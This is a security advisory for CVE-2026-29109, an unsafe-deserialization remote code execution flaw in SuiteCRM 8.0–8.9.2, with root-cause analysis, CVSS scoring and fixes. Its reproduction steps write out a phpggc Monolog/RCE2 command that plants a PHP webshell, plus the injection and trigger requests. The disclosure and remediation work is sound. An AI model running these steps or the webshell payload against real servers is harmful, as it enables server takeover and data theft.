CVE-2026-29109 - SuiteCRM Authenticated Remote Code Execution via Unsafe Deserialization in SavedSearch Filter Processing
Author and Researcher

Ravindu Wickramasinghe
@rvz
1. Description
SuiteCRM ≤ 8.9.2 contains an unsafe deserialization vulnerability in the SavedSearch filter processing component that allows an authenticated administrator to execute arbitrary system commands on the server. FilterDefinitionProvider.php calls unserialize() on user-controlled data from the saved_search.contents database column without restricting instantiable classes.
An administrator injects a malicious serialized PHP object into saved_search.contents via the Legacy REST API's set_entry method, which writes the payload directly to the database without validation or re-serialization. When any user subsequently triggers a GraphQL moduleMetadata query for the affected module, the application deserializes the stored payload with unrestricted unserialize().
SuiteCRM 8.9.2 bundles Monolog 1.27.1, providing the Monolog/RCE2 gadget chain - the deserialized SyslogUdpHandler wraps a crafted BufferHandler in its $socket property. During garbage collection, AbstractHandler.__destruct() calls close(), which triggers BufferHandler.flush(). The buffer is processed through stacked processors via call_user_func(), executing arbitrary commands as the web server user.
Injection must use the Legacy REST API (/legacy/service/v4_1/rest.php) because the GraphQL saveRecord path passes through FilterContentMapper.toBean(), which re-serializes contents as a plain array, destroying any gadget chain objects.
Affected versions: SuiteCRM 8.0 through 8.9.2
Not affected: SuiteCRM 7.x (confirmed on 7.15.0)
2. Source Code Analysis
Vulnerable code at core/backend/Filters/Service/FilterDefinitionProvider.php line 39:
$contents = unserialize(base64_decode($row["contents"]));$row["contents"] originates from the saved_search database table. The base64_decode() output passes directly to unserialize() with no allowed_classes restriction, permitting instantiation of any autoloaded class. The Monolog/RCE2 gadget chain exploits BufferHandler's processor array - during object destruction, call_user_func() executes the attacker-supplied function, achieving arbitrary command execution.
3. Steps to Reproduce
- Generate a
Monolog/RCE2payload using phpggc that writes a webshell (adjust webroot path for target):terminalphpggc Monolog/RCE2 system 'echo "<?php system(\$_GET[c]);?>" > /var/www/html/public/legacy/shell.php' -b - Authenticate to the Legacy REST API at
/legacy/service/v4_1/rest.phpusing theloginmethod with administrator credentials (password as MD5 hash). Note the session ID and user ID. - Call
set_entryon theSavedSearchmodule with:name= any value,search_module=Accounts,contents= the base64 gadget chain from step 1,assigned_user_id= the authenticated user's ID. - Authenticate to the SuiteCRM frontend via POST to
/loginwith JSON credentials and a validX-XSRF-TOKENheader from an initial GET request. - Send a GraphQL POST to
/api/graphql:This triggersterminal{ moduleMetadata(id: "/api/module-metadata/accounts") { listView } }FilterDefinitionProvider.getFilters(), which deserializes the injected payload. - Verify execution:
GET /legacy/shell.php?c=idreturns the web server user's identity, confirming command execution.
4. Proof of Concept
5. CVSS
CVSS 4.0 Score: 8.6 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
6. Recommendations
Add allowed_classes to the unserialize() call in FilterDefinitionProvider.php line 39:
unserialize(base64_decode($row["contents"]), ['allowed_classes' = false])This blocks all gadget chains while preserving expected array deserialization. Apply the same fix to FilterContentMapper.php at lines 113 and 144, where allowed_classes is currently true.
Long-term, migrate saved_search.contents from PHP serialization to JSON (json_encode()/json_decode()), which cannot represent PHP objects and is inherently immune to deserialization attacks.
7. Note on SuiteCRM 7.x
SuiteCRM 7.x is not affected. FilterDefinitionProvider.php is part of the Symfony-based backend introduced in SuiteCRM 8.0. The 7.x SavedSearch module uses hardened unserialize() calls with ['allowed_classes' => false] (lines 328 and 496 in modules/SavedSearch/SavedSearch.php).
